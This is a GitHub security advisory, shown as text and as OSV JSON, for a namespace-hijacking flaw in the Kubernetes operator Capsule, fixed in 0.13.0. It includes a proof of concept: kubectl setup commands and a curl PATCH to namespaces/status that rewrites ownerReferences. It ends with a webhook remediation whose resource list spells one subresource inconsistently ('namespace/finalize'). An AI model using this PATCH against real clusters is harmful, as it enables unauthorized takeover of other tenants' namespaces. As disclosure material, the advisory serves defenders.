GHSA-2WW6-HF35-MFJM
Vulnerability from github – Published: 2026-05-28 17:01 – Updated: 2026-05-28 17:01Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Impact
hijack namespace
Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalize
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30963"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:01:41Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n name: oil\nspec:\n owners:\n - name: alice\n kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n name: attacker\nspec:\n owners:\n - name: attacker\n kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH \u0027https://192.168.201.12:6443/api/v1/namespaces/solar-production/status\u0027 \\\n--header \u0027Content-Type: application/json-patch+json\u0027 \\\n--data \u0027[\n {\n \"op\": \"replace\",\n \"path\": \"/metadata/ownerReferences\",\n \"value\": [\n {\n \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n \"kind\": \"Tenant\",\n \"name\": \"attacker\",\n \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n }\n ]\n }\n ]\u0027\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n resources:\n - namespaces\n - namespaces/status\n\t- namespace/finalize\n```",
"id": "GHSA-2ww6-hf35-mfjm",
"modified": "2026-05-28T17:01:41Z",
"published": "2026-05-28T17:01:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
},
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Capsule Namespace Hijacking via subresource"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.